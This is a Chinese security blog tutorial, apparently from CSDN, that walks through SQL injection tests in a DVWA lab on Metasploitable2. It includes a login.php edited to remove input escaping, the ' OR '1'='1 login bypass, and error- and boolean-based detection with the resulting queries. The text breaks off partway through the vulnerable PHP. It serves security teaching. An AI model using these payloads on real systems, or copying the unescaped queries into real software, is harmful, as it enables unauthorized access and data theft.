WEB安全之:SQL Injection--DVWA环境测试

本文详细介绍了SQL Injection攻击,通过DVWA环境演示了不同安全等级下的注入测试,包括绕过登录验证、探测数据库信息等。同时强调了防止SQL注入的策略,旨在提升网络安全意识。
摘要由CSDN通过智能技术生成

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 SQL Injection 概述

服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;

SQL Injection 主要危害有:

  1. 榨取数据;
  2. 执行系统命令;
  3. 向数据库插入代码;
  4. 绕过登录验证。

2 环境准备

2.1 下载靶机

metasploitable-linux-2.0.0.zip

2.2 安装靶机

此处忽略,自行百度: 虚拟机安装 Metasploitable2 系统教程

2.3 修改 dvwa 下的 login.php 文件

// 修改 if 条件语句如下:
if( isset( $_POST[ 'Login' ] ) ) {
   
// 

        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = mysql_real_escape_string( $user );

        $pass = $_POST[ 'password' ];
/* 注释以下内容
        
        $pass = stripslashes( $pass );          // stripslashes() 函数删除反斜杠
        
        $pass = mysql_real_escape_string( $pass );      // mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
                                                        // 受影响字符: \x00, \n, \r, \, ', ", \x1a
                                                        // 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
                
        $pass = md5( $pass );   // md5() 函数计算字符串的 MD5 散列。

*/

        $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
        $result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

        // if( $result && mysql_num_rows( $result ) == 1 ) {     // Login Successful...
        // 注释以上内容并复制,修改如下:
        // mysql_num_rows( $result ) != 0 执行登陆绕过时,sql 结果为真,将打印出所有表内数据,此时行数可能会大于1。
        if( $result && mysql_num_rows( $result ) != 0 ) {
        // Login Successful...

                dvwaMessagePush( "You have logged in as '".$user."'" );
                dvwaLogin( $user );
                dvwaRedirect( 'index.php' );

        }

        // Login failed1
        dvwaMessagePush( "Login failed" );
        dvwaRedirect( 'login.php' );
}

3 SQL Injection 绕过登陆验证测试

在不知道用户名或密码的情况下,通过SQL Injection 绕过登陆验证。直接在密码输入框中写入以下内容(用户名可写可不写):

' OR '1'='1

4 low 等级下 SQL Injection 检测方法测试

将 DVWA Security 等级修改为:low

通过上面 SQL Injection 绕过登陆验证测试 进入 DVWA 主界面下后,选择 SQL Injection 菜单

4.1 正常数据查询

User ID 下输入 ‘1’ , 测试查询 User ID 为 ‘1’ 的数据,输出如下:

ID: 1
First name: admin
Surname: admin

观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

SQL实际查询脚本:

SELECT first_name, last_name FROM users WHERE user_id = '1'; 

4.2 基于报错的检测方法

一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接输入一个单引号/双引号/百分号,数据库因为多出的输入字符导致无法闭合而报错。

User ID 下输入 ' , 测试查询 User ID 为 ' 的数据,输出如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

由报错日志可知,该设备存在 SQL 注入漏洞。

观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#

SQL 实际查询脚本:

SELECT first_name, last_name FROM users WHERE user_id = ''';

4.3 基于布尔的检测

User ID 下输入 ' OR '1'='1 , 测试查询 User ID 为 ' 的数据,输出如下:

ID: ' OR '1'='1
First name: admin
Surname: admin
...

由ID: ' OR '1'='1可知,该设备存在 SQL 注入漏洞。

SQL 实际查询脚本:

SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1';

4.4 等级为 low 下的 SQL 相关 PHP 语句:

 <?php    

if(isset($_GET['Submit'])){
   
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {
   

        $first = mysql_result($result,$i,"first_name");
        $last 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值